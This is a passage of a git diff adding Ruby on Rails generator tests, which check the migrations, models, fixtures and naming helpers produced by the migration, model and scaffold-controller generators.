+    assert_migration "db/migrate/#{migration}.rb", /class ChangeTitleBodyFromPosts < ActiveRecord::Migration\[[0-9.]+\]/
+  end
+
+  def test_migrations_generated_simultaneously
+    migrations = ["change_title_body_from_posts", "change_email_from_comments"]
+
+    first_migration_number, second_migration_number = migrations.collect do |migration|
+      run_generator [migration]
+      file_name = migration_file_name "db/migrate/#{migration}.rb"
+
+      File.basename(file_name).split("_").first
+    end
+
+    assert_not_equal first_migration_number, second_migration_number
+  end
+
+  def test_migration_with_class_name
+    migration = "ChangeTitleBodyFromPosts"
+    run_generator [migration]
+    assert_migration "db/migrate/change_title_body_from_posts.rb", /class #{migration} < ActiveRecord::Migration\[[0-9.]+\]/
+  end
+
+  def test_migration_with_invalid_file_name
+    migration = "add_something:datetime"
+    assert_raise ActiveRecord::IllegalMigrationNameError do
+      run_generator [migration]
+    end
+  end
+
+  def test_add_migration_with_attributes
+    migration = "add_title_body_to_posts"
+    run_generator [migration, "title:string", "body:text"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/add_column :posts, :title, :string/, change)
+        assert_match(/add_column :posts, :body, :text/, change)
+      end
+    end
+  end
+
+  def test_remove_migration_with_indexed_attribute
+    migration = "remove_title_body_from_posts"
+    run_generator [migration, "title:string:index", "body:text"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/remove_column :posts, :title, :string/, change)
+        assert_match(/remove_column :posts, :body, :text/, change)
+        assert_match(/remove_index :posts, :title/, change)
+      end
+    end
+  end
+
+  def test_remove_migration_with_attributes
+    migration = "remove_title_body_from_posts"
+    run_generator [migration, "title:string", "body:text"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/remove_column :posts, :title, :string/, change)
+        assert_match(/remove_column :posts, :body, :text/, change)
+      end
+    end
+  end
+
+  def test_remove_migration_with_references_options
+    migration = "remove_references_from_books"
+    run_generator [migration, "author:belongs_to", "distributor:references{polymorphic}"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/remove_reference :books, :author/, change)
+        assert_match(/remove_reference :books, :distributor, polymorphic: true/, change)
+      end
+    end
+  end
+
+  def test_remove_migration_with_references_removes_foreign_keys
+    migration = "remove_references_from_books"
+    run_generator [migration, "author:belongs_to", "distributor:references{polymorphic}"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/remove_reference :books, :author,.*\sforeign_key: true/, change)
+        assert_match(/remove_reference :books, :distributor/, change) # sanity check
+        assert_no_match(/remove_reference :books, :distributor,.*\sforeign_key: true/, change)
+      end
+    end
+  end
+
+  def test_add_migration_with_attributes_and_indices
+    migration = "add_title_with_index_and_body_to_posts"
+    run_generator [migration, "title:string:index", "body:text", "user_id:integer:uniq"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/add_column :posts, :title, :string/, change)
+        assert_match(/add_column :posts, :body, :text/, change)
+        assert_match(/add_column :posts, :user_id, :integer/, change)
+        assert_match(/add_index :posts, :title/, change)
+        assert_match(/add_index :posts, :user_id, unique: true/, change)
+      end
+    end
+  end
+
+  def test_add_migration_with_attributes_and_wrong_index_declaration
+    migration = "add_title_and_content_to_books"
+    run_generator [migration, "title:string:inex", "content:text", "user_id:integer:unik"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/add_column :books, :title, :string/, change)
+        assert_match(/add_column :books, :content, :text/, change)
+        assert_match(/add_column :books, :user_id, :integer/, change)
+      end
+      assert_no_match(/add_index :books, :title/, content)
+      assert_no_match(/add_index :books, :user_id/, content)
+    end
+  end
+
+  def test_add_migration_with_attributes_without_type_and_index
+    migration = "add_title_with_index_and_body_to_posts"
+    run_generator [migration, "title:index", "body:text", "user_uuid:uniq"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/add_column :posts, :title, :string/, change)
+        assert_match(/add_column :posts, :body, :text/, change)
+        assert_match(/add_column :posts, :user_uuid, :string/, change)
+        assert_match(/add_index :posts, :title/, change)
+        assert_match(/add_index :posts, :user_uuid, unique: true/, change)
+      end
+    end
+  end
+
+  def test_add_migration_with_attributes_index_declaration_and_attribute_options
+    migration = "add_title_and_content_to_books"
+    run_generator [migration, "title:string{40}:index", "content:string{255}", "price:decimal{1,2}:index", "discount:decimal{3.4}:uniq"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/add_column :books, :title, :string, limit: 40/, change)
+        assert_match(/add_column :books, :content, :string, limit: 255/, change)
+        assert_match(/add_column :books, :price, :decimal, precision: 1, scale: 2/, change)
+        assert_match(/add_column :books, :discount, :decimal, precision: 3, scale: 4/, change)
+      end
+      assert_match(/add_index :books, :title/, content)
+      assert_match(/add_index :books, :price/, content)
+      assert_match(/add_index :books, :discount, unique: true/, content)
+    end
+  end
+
+  def test_add_migration_with_references_options
+    migration = "add_references_to_books"
+    run_generator [migration, "author:belongs_to", "distributor:references{polymorphic}"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/add_reference :books, :author/, change)
+        assert_match(/add_reference :books, :distributor, polymorphic: true/, change)
+      end
+    end
+  end
+
+  def test_add_migration_with_required_references
+    migration = "add_references_to_books"
+    run_generator [migration, "author:belongs_to{required}", "distributor:references{polymorphic,required}"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/add_reference :books, :author, null: false/, change)
+        assert_match(/add_reference :books, :distributor, polymorphic: true, null: false/, change)
+      end
+    end
+  end
+
+  def test_add_migration_with_references_adds_foreign_keys
+    migration = "add_references_to_books"
+    run_generator [migration, "author:belongs_to", "distributor:references{polymorphic}"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/add_reference :books, :author,.*\sforeign_key: true/, change)
+        assert_match(/add_reference :books, :distributor/, change) # sanity check
+        assert_no_match(/add_reference :books, :distributor,.*\sforeign_key: true/, change)
+      end
+    end
+  end
+
+  def test_create_join_table_migration
+    migration = "add_media_join_table"
+    run_generator [migration, "artist_id", "musics:uniq"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/create_join_table :artists, :musics/, change)
+        assert_match(/# t\.index \[:artist_id, :music_id\]/, change)
+        assert_match(/  t\.index \[:music_id, :artist_id\], unique: true/, change)
+      end
+    end
+  end
+
+  def test_create_table_migration
+    run_generator ["create_books", "title:string", "content:text"]
+    assert_migration "db/migrate/create_books.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/create_table :books/, change)
+        assert_match(/  t\.string :title/, change)
+        assert_match(/  t\.text :content/, change)
+      end
+    end
+  end
+
+  def test_add_uuid_to_create_table_migration
+    run_generator ["create_books", "--primary_key_type=uuid"]
+    assert_migration "db/migrate/create_books.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/create_table :books, id: :uuid/, change)
+      end
+    end
+  end
+
+  def test_should_create_empty_migrations_if_name_not_start_with_add_or_remove_or_create
+    migration = "delete_books"
+    run_generator [migration, "title:string", "content:text"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/^\s*$/, change)
+      end
+    end
+  end
+
+  def test_properly_identifies_usage_file
+    assert generator_class.send(:usage_path)
+  end
+
+  def test_migration_with_singular_table_name
+    with_singular_table_name do
+      migration = "add_title_body_to_post"
+      run_generator [migration, "title:string"]
+      assert_migration "db/migrate/#{migration}.rb" do |content|
+        assert_method :change, content do |change|
+          assert_match(/add_column :post, :title, :string/, change)
+        end
+      end
+    end
+  end
+
+  def test_create_join_table_migration_with_singular_table_name
+    with_singular_table_name do
+      migration = "add_media_join_table"
+      run_generator [migration, "artist_id", "music:uniq"]
+
+      assert_migration "db/migrate/#{migration}.rb" do |content|
+        assert_method :change, content do |change|
+          assert_match(/create_join_table :artist, :music/, change)
+          assert_match(/# t\.index \[:artist_id, :music_id\]/, change)
+          assert_match(/  t\.index \[:music_id, :artist_id\], unique: true/, change)
+        end
+      end
+    end
+  end
+
+  def test_create_table_migration_with_singular_table_name
+    with_singular_table_name do
+      run_generator ["create_book", "title:string", "content:text"]
+      assert_migration "db/migrate/create_book.rb" do |content|
+        assert_method :change, content do |change|
+          assert_match(/create_table :book/, change)
+          assert_match(/  t\.string :title/, change)
+          assert_match(/  t\.text :content/, change)
+        end
+      end
+    end
+  end
+
+  def test_create_table_migration_with_token_option
+    run_generator ["create_users", "token:token", "auth_token:token"]
+    assert_migration "db/migrate/create_users.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/create_table :users/, change)
+        assert_match(/  t\.string :token/, change)
+        assert_match(/  t\.string :auth_token/, change)
+        assert_match(/add_index :users, :token, unique: true/, change)
+        assert_match(/add_index :users, :auth_token, unique: true/, change)
+      end
+    end
+  end
+
+  def test_add_migration_with_token_option
+    migration = "add_token_to_users"
+    run_generator [migration, "auth_token:token"]
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/add_column :users, :auth_token, :string/, change)
+        assert_match(/add_index :users, :auth_token, unique: true/, change)
+      end
+    end
+  end
+
+  def test_add_migration_to_configured_path
+    old_paths = Rails.application.config.paths["db/migrate"]
+    Rails.application.config.paths.add "db/migrate", with: "db2/migrate"
+
+    migration = "migration_in_custom_path"
+    run_generator [migration]
+    assert_migration "db2/migrate/#{migration}.rb", /.*/
+  ensure
+    Rails.application.config.paths["db/migrate"] = old_paths
+  end
+
+  private
+
+    def with_singular_table_name
+      old_state = ActiveRecord::Base.pluralize_table_names
+      ActiveRecord::Base.pluralize_table_names = false
+      yield
+    ensure
+      ActiveRecord::Base.pluralize_table_names = old_state
+    end
+end
diff --git a/railties/test/generators/model_generator_test.rb b/railties/test/generators/model_generator_test.rb
new file mode 100644
index 0000000000..651713d3c0
--- /dev/null
+++ b/railties/test/generators/model_generator_test.rb
@@ -0,0 +1,467 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/model/model_generator"
+require "active_support/core_ext/string/strip"
+
+class ModelGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  arguments %w(Account name:string age:integer)
+
+  def test_help_shows_invoked_generators_options
+    content = run_generator ["--help"]
+    assert_match(/ActiveRecord options:/, content)
+    assert_match(/TestUnit options:/, content)
+  end
+
+  def test_model_with_missing_attribute_type
+    run_generator ["post", "title", "body:text", "author"]
+
+    assert_migration "db/migrate/create_posts.rb" do |m|
+      assert_method :change, m do |up|
+        assert_match(/t\.string :title/, up)
+        assert_match(/t\.text :body/, up)
+        assert_match(/t\.string :author/, up)
+      end
+    end
+  end
+
+  def test_invokes_default_orm
+    run_generator
+    assert_file "app/models/account.rb", /class Account < ApplicationRecord/
+  end
+
+  def test_model_with_parent_option
+    run_generator ["account", "--parent", "Admin::Account"]
+    assert_file "app/models/account.rb", /class Account < Admin::Account/
+    assert_no_migration "db/migrate/create_accounts.rb"
+  end
+
+  def test_plural_names_are_singularized
+    content = run_generator ["accounts".freeze]
+    assert_file "app/models/account.rb", /class Account < ApplicationRecord/
+    assert_file "test/models/account_test.rb", /class AccountTest/
+    assert_match(/\[WARNING\] The model name 'accounts' was recognized as a plural, using the singular 'account' instead\. Override with --force-plural or setup custom inflection rules for this noun before running the generator\./, content)
+  end
+
+  def test_model_with_underscored_parent_option
+    run_generator ["account", "--parent", "admin/account"]
+    assert_file "app/models/account.rb", /class Account < Admin::Account/
+  end
+
+  def test_model_with_namespace
+    run_generator ["admin/account"]
+    assert_file "app/models/admin.rb", /module Admin/
+    assert_file "app/models/admin.rb", /def self\.table_name_prefix/
+    assert_file "app/models/admin.rb", /'admin_'/
+    assert_file "app/models/admin/account.rb", /class Admin::Account < ApplicationRecord/
+  end
+
+  def test_migration
+    run_generator
+    assert_migration "db/migrate/create_accounts.rb", /class CreateAccounts < ActiveRecord::Migration\[[0-9.]+\]/
+  end
+
+  def test_migration_with_namespace
+    run_generator ["Gallery::Image"]
+    assert_migration "db/migrate/create_gallery_images", /class CreateGalleryImages < ActiveRecord::Migration\[[0-9.]+\]/
+    assert_no_migration "db/migrate/create_images"
+  end
+
+  def test_migration_with_nested_namespace
+    run_generator ["Admin::Gallery::Image"]
+    assert_no_migration "db/migrate/create_images"
+    assert_no_migration "db/migrate/create_gallery_images"
+    assert_migration "db/migrate/create_admin_gallery_images", /class CreateAdminGalleryImages < ActiveRecord::Migration\[[0-9.]+\]/
+    assert_migration "db/migrate/create_admin_gallery_images", /create_table :admin_gallery_images/
+  end
+
+  def test_migration_with_nested_namespace_without_pluralization
+    ActiveRecord::Base.pluralize_table_names = false
+    run_generator ["Admin::Gallery::Image"]
+    assert_no_migration "db/migrate/create_images"
+    assert_no_migration "db/migrate/create_gallery_images"
+    assert_no_migration "db/migrate/create_admin_gallery_images"
+    assert_migration "db/migrate/create_admin_gallery_image", /class CreateAdminGalleryImage < ActiveRecord::Migration\[[0-9.]+\]/
+    assert_migration "db/migrate/create_admin_gallery_image", /create_table :admin_gallery_image/
+  ensure
+    ActiveRecord::Base.pluralize_table_names = true
+  end
+
+  def test_migration_with_namespaces_in_model_name_without_plurization
+    ActiveRecord::Base.pluralize_table_names = false
+    run_generator ["Gallery::Image"]
+    assert_migration "db/migrate/create_gallery_image", /class CreateGalleryImage < ActiveRecord::Migration\[[0-9.]+\]/
+    assert_no_migration "db/migrate/create_gallery_images"
+  ensure
+    ActiveRecord::Base.pluralize_table_names = true
+  end
+
+  def test_migration_without_pluralization
+    ActiveRecord::Base.pluralize_table_names = false
+    run_generator
+    assert_migration "db/migrate/create_account", /class CreateAccount < ActiveRecord::Migration\[[0-9.]+\]/
+    assert_no_migration "db/migrate/create_accounts"
+  ensure
+    ActiveRecord::Base.pluralize_table_names = true
+  end
+
+  def test_migration_is_skipped
+    run_generator ["account", "--no-migration"]
+    assert_no_migration "db/migrate/create_accounts.rb"
+  end
+
+  def test_migration_with_attributes
+    run_generator ["product", "name:string", "supplier_id:integer"]
+
+    assert_migration "db/migrate/create_products.rb" do |m|
+      assert_method :change, m do |up|
+        assert_match(/create_table :products/, up)
+        assert_match(/t\.string :name/, up)
+        assert_match(/t\.integer :supplier_id/, up)
+      end
+    end
+  end
+
+  def test_migration_with_attributes_and_with_index
+    run_generator ["product", "name:string:index", "supplier_id:integer:index", "user_id:integer:uniq", "order_id:uniq"]
+
+    assert_migration "db/migrate/create_products.rb" do |m|
+      assert_method :change, m do |up|
+        assert_match(/create_table :products/, up)
+        assert_match(/t\.string :name/, up)
+        assert_match(/t\.integer :supplier_id/, up)
+        assert_match(/t\.integer :user_id/, up)
+        assert_match(/t\.string :order_id/, up)
+
+        assert_match(/add_index :products, :name/, up)
+        assert_match(/add_index :products, :supplier_id/, up)
+        assert_match(/add_index :products, :user_id, unique: true/, up)
+        assert_match(/add_index :products, :order_id, unique: true/, up)
+      end
+    end
+  end
+
+  def test_migration_with_attributes_and_with_wrong_index_declaration
+    run_generator ["product", "name:string", "supplier_id:integer:inex", "user_id:integer:unqu"]
+
+    assert_migration "db/migrate/create_products.rb" do |m|
+      assert_method :change, m do |up|
+        assert_match(/create_table :products/, up)
+        assert_match(/t\.string :name/, up)
+        assert_match(/t\.integer :supplier_id/, up)
+        assert_match(/t\.integer :user_id/, up)
+
+        assert_no_match(/add_index :products, :name/, up)
+        assert_no_match(/add_index :products, :supplier_id/, up)
+        assert_no_match(/add_index :products, :user_id/, up)
+      end
+    end
+  end
+
+  def test_migration_with_missing_attribute_type_and_with_index
+    run_generator ["product", "name:index", "supplier_id:integer:index", "year:integer"]
+
+    assert_migration "db/migrate/create_products.rb" do |m|
+      assert_method :change, m do |up|
+        assert_match(/create_table :products/, up)
+        assert_match(/t\.string :name/, up)
+        assert_match(/t\.integer :supplier_id/, up)
+
+        assert_match(/add_index :products, :name/, up)
+        assert_match(/add_index :products, :supplier_id/, up)
+        assert_no_match(/add_index :products, :year/, up)
+      end
+    end
+  end
+
+  def test_add_migration_with_attributes_index_declaration_and_attribute_options
+    run_generator ["product", "title:string{40}:index", "content:string{255}", "price:decimal{5,2}:index", "discount:decimal{5,2}:uniq", "supplier:references{polymorphic}"]
+
+    assert_migration "db/migrate/create_products.rb" do |content|
+      assert_method :change, content do |up|
+        assert_match(/create_table :products/, up)
+        assert_match(/t.string :title, limit: 40/, up)
+        assert_match(/t.string :content, limit: 255/, up)
+        assert_match(/t.decimal :price, precision: 5, scale: 2/, up)
+        assert_match(/t.references :supplier, polymorphic: true/, up)
+      end
+      assert_match(/add_index :products, :title/, content)
+      assert_match(/add_index :products, :price/, content)
+      assert_match(/add_index :products, :discount, unique: true/, content)
+    end
+  end
+
+  def test_migration_without_timestamps
+    ActiveRecord::Base.timestamped_migrations = false
+    run_generator ["account"]
+    assert_file "db/migrate/001_create_accounts.rb", /class CreateAccounts < ActiveRecord::Migration\[[0-9.]+\]/
+
+    run_generator ["project"]
+    assert_file "db/migrate/002_create_projects.rb", /class CreateProjects < ActiveRecord::Migration\[[0-9.]+\]/
+  ensure
+    ActiveRecord::Base.timestamped_migrations = true
+  end
+
+  def test_migration_with_configured_path
+    old_paths = Rails.application.config.paths["db/migrate"]
+    Rails.application.config.paths.add "db/migrate", with: "db2/migrate"
+
+    run_generator
+
+    assert_migration "db2/migrate/create_accounts.rb", /class CreateAccounts < ActiveRecord::Migration\[[0-9.]+\]/
+  ensure
+    Rails.application.config.paths["db/migrate"] = old_paths
+  end
+
+  def test_model_with_references_attribute_generates_belongs_to_associations
+    run_generator ["product", "name:string", "supplier:references"]
+    assert_file "app/models/product.rb", /belongs_to :supplier/
+  end
+
+  def test_model_with_belongs_to_attribute_generates_belongs_to_associations
+    run_generator ["product", "name:string", "supplier:belongs_to"]
+    assert_file "app/models/product.rb", /belongs_to :supplier/
+  end
+
+  def test_model_with_polymorphic_references_attribute_generates_belongs_to_associations
+    run_generator ["product", "name:string", "supplier:references{polymorphic}"]
+    assert_file "app/models/product.rb", /belongs_to :supplier, polymorphic: true/
+  end
+
+  def test_model_with_polymorphic_belongs_to_attribute_generates_belongs_to_associations
+    run_generator ["product", "name:string", "supplier:belongs_to{polymorphic}"]
+    assert_file "app/models/product.rb", /belongs_to :supplier, polymorphic: true/
+  end
+
+  def test_migration_with_timestamps
+    run_generator
+    assert_migration "db/migrate/create_accounts.rb", /t\.timestamps/
+  end
+
+  def test_migration_timestamps_are_skipped
+    run_generator ["account", "--no-timestamps"]
+
+    assert_migration "db/migrate/create_accounts.rb" do |m|
+      assert_method :change, m do |up|
+        assert_no_match(/t\.timestamps/, up)
+      end
+    end
+  end
+
+  def test_migration_is_skipped_with_skip_option
+    run_generator
+    output = run_generator ["Account", "--skip"]
+    assert_match %r{skip\s+db/migrate/\d+_create_accounts\.rb}, output
+  end
+
+  def test_migration_is_ignored_as_identical_with_skip_option
+    run_generator ["Account"]
+    output = run_generator ["Account", "--skip"]
+    assert_match %r{identical\s+db/migrate/\d+_create_accounts\.rb}, output
+  end
+
+  def test_migration_is_skipped_on_skip_behavior
+    run_generator
+    output = run_generator ["Account"], behavior: :skip
+    assert_match %r{skip\s+db/migrate/\d+_create_accounts\.rb}, output
+  end
+
+  def test_migration_error_is_not_shown_on_revoke
+    run_generator
+    error = capture(:stderr) { run_generator ["Account"], behavior: :revoke }
+    assert_no_match(/Another migration is already named create_accounts/, error)
+  end
+
+  def test_migration_is_removed_on_revoke
+    run_generator
+    run_generator ["Account"], behavior: :revoke
+    assert_no_migration "db/migrate/create_accounts.rb"
+  end
+
+  def test_existing_migration_is_removed_on_force
+    run_generator
+    old_migration = Dir["#{destination_root}/db/migrate/*_create_accounts.rb"].first
+    error = capture(:stderr) { run_generator ["Account", "--force"] }
+    assert_no_match(/Another migration is already named create_accounts/, error)
+    assert_no_file old_migration
+    assert_migration "db/migrate/create_accounts.rb"
+  end
+
+  def test_invokes_default_test_framework
+    run_generator
+    assert_file "test/models/account_test.rb", /class AccountTest < ActiveSupport::TestCase/
+
+    assert_file "test/fixtures/accounts.yml", /name: MyString/, /age: 1/
+    assert_generated_fixture("test/fixtures/accounts.yml",
+                             "one" => { "name" => "MyString", "age" => 1 }, "two" => { "name" => "MyString", "age" => 1 })
+  end
+
+  def test_fixtures_use_the_references_ids
+    run_generator ["LineItem", "product:references", "cart:belongs_to"]
+
+    assert_file "test/fixtures/line_items.yml", /product: one\n  cart: one/
+    assert_generated_fixture("test/fixtures/line_items.yml",
+                             "one" => { "product" => "one", "cart" => "one" }, "two" => { "product" => "two", "cart" => "two" })
+  end
+
+  def test_fixtures_use_the_references_ids_and_type
+    run_generator ["LineItem", "product:references{polymorphic}", "cart:belongs_to"]
+
+    assert_file "test/fixtures/line_items.yml", /product: one\n  product_type: Product\n  cart: one/
+    assert_generated_fixture("test/fixtures/line_items.yml",
+                             "one" => { "product" => "one", "product_type" => "Product", "cart" => "one" },
+                              "two" => { "product" => "two", "product_type" => "Product", "cart" => "two" })
+  end
+
+  def test_fixtures_respect_reserved_yml_keywords
+    run_generator ["LineItem", "no:integer", "Off:boolean", "ON:boolean"]
+
+    assert_generated_fixture("test/fixtures/line_items.yml",
+                             "one" => { "no" => 1, "Off" => false, "ON" => false }, "two" => { "no" => 1, "Off" => false, "ON" => false })
+  end
+
+  def test_fixture_is_skipped
+    run_generator ["account", "--skip-fixture"]
+    assert_no_file "test/fixtures/accounts.yml"
+  end
+
+  def test_fixture_is_skipped_if_fixture_replacement_is_given
+    content = run_generator ["account", "-r", "factory_girl"]
+    assert_match(/factory_girl \[not found\]/, content)
+    assert_no_file "test/fixtures/accounts.yml"
+  end
+
+  def test_fixture_without_pluralization
+    original_pluralize_table_name = ActiveRecord::Base.pluralize_table_names
+    ActiveRecord::Base.pluralize_table_names = false
+    run_generator
+    assert_generated_fixture("test/fixtures/account.yml",
+                             "one" => { "name" => "MyString", "age" => 1 }, "two" => { "name" => "MyString", "age" => 1 })
+  ensure
+    ActiveRecord::Base.pluralize_table_names = original_pluralize_table_name
+  end
+
+  def test_check_class_collision
+    content = capture(:stderr) { run_generator ["object"] }
+    assert_match(/The name 'Object' is either already used in your application or reserved/, content)
+  end
+
+  def test_index_is_skipped_for_belongs_to_association
+    run_generator ["account", "supplier:belongs_to", "--no-indexes"]
+
+    assert_migration "db/migrate/create_accounts.rb" do |m|
+      assert_method :change, m do |up|
+        assert_no_match(/index: true/, up)
+      end
+    end
+  end
+
+  def test_index_is_skipped_for_references_association
+    run_generator ["account", "supplier:references", "--no-indexes"]
+
+    assert_migration "db/migrate/create_accounts.rb" do |m|
+      assert_method :change, m do |up|
+        assert_no_match(/index: true/, up)
+      end
+    end
+  end
+
+  def test_add_uuid_to_create_table_migration
+    run_generator ["account", "--primary_key_type=uuid"]
+    assert_migration "db/migrate/create_accounts.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/create_table :accounts, id: :uuid/, change)
+      end
+    end
+  end
+
+  def test_required_belongs_to_adds_required_association
+    run_generator ["account", "supplier:references{required}"]
+
+    expected_file = <<-FILE.strip_heredoc
+    class Account < ApplicationRecord
+      belongs_to :supplier, required: true
+    end
+    FILE
+    assert_file "app/models/account.rb", expected_file
+  end
+
+  def test_required_polymorphic_belongs_to_generages_correct_model
+    run_generator ["account", "supplier:references{required,polymorphic}"]
+
+    expected_file = <<-FILE.strip_heredoc
+    class Account < ApplicationRecord
+      belongs_to :supplier, polymorphic: true, required: true
+    end
+    FILE
+    assert_file "app/models/account.rb", expected_file
+  end
+
+  def test_required_and_polymorphic_are_order_independent
+    run_generator ["account", "supplier:references{polymorphic.required}"]
+
+    expected_file = <<-FILE.strip_heredoc
+    class Account < ApplicationRecord
+      belongs_to :supplier, polymorphic: true, required: true
+    end
+    FILE
+    assert_file "app/models/account.rb", expected_file
+  end
+
+  def test_required_adds_null_false_to_column
+    run_generator ["account", "supplier:references{required}"]
+
+    assert_migration "db/migrate/create_accounts.rb" do |m|
+      assert_method :change, m do |up|
+        assert_match(/t\.references :supplier,.*\snull: false/, up)
+      end
+    end
+  end
+
+  def test_foreign_key_is_not_added_for_non_references
+    run_generator ["account", "supplier:string"]
+
+    assert_migration "db/migrate/create_accounts.rb" do |m|
+      assert_method :change, m do |up|
+        assert_no_match(/foreign_key/, up)
+      end
+    end
+  end
+
+  def test_foreign_key_is_added_for_references
+    run_generator ["account", "supplier:belongs_to", "user:references"]
+
+    assert_migration "db/migrate/create_accounts.rb" do |m|
+      assert_method :change, m do |up|
+        assert_match(/t\.belongs_to :supplier,.*\sforeign_key: true/, up)
+        assert_match(/t\.references :user,.*\sforeign_key: true/, up)
+      end
+    end
+  end
+
+  def test_foreign_key_is_skipped_for_polymorphic_references
+    run_generator ["account", "supplier:belongs_to{polymorphic}"]
+
+    assert_migration "db/migrate/create_accounts.rb" do |m|
+      assert_method :change, m do |up|
+        assert_no_match(/foreign_key/, up)
+      end
+    end
+  end
+
+  def test_token_option_adds_has_secure_token
+    run_generator ["user", "token:token", "auth_token:token"]
+    expected_file = <<-FILE.strip_heredoc
+    class User < ApplicationRecord
+      has_secure_token
+      has_secure_token :auth_token
+    end
+    FILE
+    assert_file "app/models/user.rb", expected_file
+  end
+
+  private
+    def assert_generated_fixture(path, parsed_contents)
+      fixture_file = File.new File.expand_path(path, destination_root)
+      assert_equal(parsed_contents, YAML.load(fixture_file))
+    end
+end
diff --git a/railties/test/generators/named_base_test.rb b/railties/test/generators/named_base_test.rb
new file mode 100644
index 0000000000..3015b5363b
--- /dev/null
+++ b/railties/test/generators/named_base_test.rb
@@ -0,0 +1,139 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/scaffold_controller/scaffold_controller_generator"
+
+class NamedBaseTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  tests Rails::Generators::ScaffoldControllerGenerator
+
+  def test_named_generator_with_underscore
+    g = generator ["line_item"]
+    assert_name g, "line_item",  :name
+    assert_name g, %w(),         :class_path
+    assert_name g, "LineItem",   :class_name
+    assert_name g, "line_item",  :file_path
+    assert_name g, "line_item",  :file_name
+    assert_name g, "Line item",  :human_name
+    assert_name g, "line_item",  :singular_name
+    assert_name g, "line_items", :plural_name
+    assert_name g, "line_item",  :i18n_scope
+    assert_name g, "line_items", :table_name
+  end
+
+  def test_named_generator_attributes
+    g = generator ["admin/foo"]
+    assert_name g, "admin/foo",  :name
+    assert_name g, %w(admin),    :class_path
+    assert_name g, "Admin::Foo", :class_name
+    assert_name g, "admin/foo",  :file_path
+    assert_name g, "foo",        :file_name
+    assert_name g, "Foo",        :human_name
+    assert_name g, "foo",        :singular_name
+    assert_name g, "foos",       :plural_name
+    assert_name g, "admin.foo",  :i18n_scope
+    assert_name g, "admin_foos", :table_name
+  end
+
+  def test_named_generator_attributes_as_ruby
+    g = generator ["Admin::Foo"]
+    assert_name g, "Admin::Foo", :name
+    assert_name g, %w(admin),    :class_path
+    assert_name g, "Admin::Foo", :class_name
+    assert_name g, "admin/foo",  :file_path
+    assert_name g, "foo",        :file_name
+    assert_name g, "foo",        :singular_name
+    assert_name g, "Foo",        :human_name
+    assert_name g, "foos",       :plural_name
+    assert_name g, "admin.foo",  :i18n_scope
+    assert_name g, "admin_foos", :table_name
+  end
+
+  def test_named_generator_attributes_without_pluralized
+    original_pluralize_table_names = ActiveRecord::Base.pluralize_table_names
+    ActiveRecord::Base.pluralize_table_names = false
+
+    g = generator ["admin/foo"]
+    assert_name g, "admin_foo", :table_name
+  ensure
+    ActiveRecord::Base.pluralize_table_names = original_pluralize_table_names
+  end
+
+  def test_scaffold_plural_names
+    g = generator ["admin/foo"]
+    assert_name g, "admin/foos",  :controller_name
+    assert_name g, %w(admin),     :controller_class_path
+    assert_name g, "Admin::Foos", :controller_class_name
+    assert_name g, "admin/foos",  :controller_file_path
+    assert_name g, "foos",        :controller_file_name
+    assert_name g, "admin.foos",  :controller_i18n_scope
+  end
+
+  def test_scaffold_plural_names_as_ruby
+    g = generator ["Admin::Foo"]
+    assert_name g, "Admin::Foos", :controller_name
+    assert_name g, %w(admin),     :controller_class_path
+    assert_name g, "Admin::Foos", :controller_class_name
+    assert_name g, "admin/foos",  :controller_file_path
+    assert_name g, "foos",        :controller_file_name
+    assert_name g, "admin.foos",  :controller_i18n_scope
+  end
+
+  def test_application_name
+    g = generator ["Admin::Foo"]
+    Rails.stub(:application, Object.new) do
+      assert_name g, "object", :application_name
+    end
+
+    Rails.stub(:application, nil) do
+      assert_name g, "application", :application_name
+    end
+  end
+
+  def test_index_helper
+    g = generator ["Post"]
+    assert_name g, "posts", :index_helper
+  end
+
+  def test_index_helper_to_pluralize_once
+    g = generator ["Stadium"]
+    assert_name g, "stadia", :index_helper
+  end
+
+  def test_index_helper_with_uncountable
+    g = generator ["Sheep"]
+    assert_name g, "sheep_index", :index_helper
+  end
+
+  def test_hide_namespace
+    g = generator ["Hidden"]
+    g.class.stub(:namespace, "hidden") do
+      assert_not_includes Rails::Generators.hidden_namespaces, "hidden"
+      g.class.hide!
+      assert_includes Rails::Generators.hidden_namespaces, "hidden"
+    end
+  end
+
+  def test_scaffold_plural_names_with_model_name_option
+    g = generator ["Admin::Foo"], model_name: "User"
+    assert_name g, "user",        :singular_name
+    assert_name g, "User",        :name
+    assert_name g, "user",        :file_path
+    assert_name g, "User",        :class_name
+    assert_name g, "user",        :file_name
+    assert_name g, "User",        :human_name
+    assert_name g, "users",       :plural_name
+    assert_name g, "user",        :i18n_scope
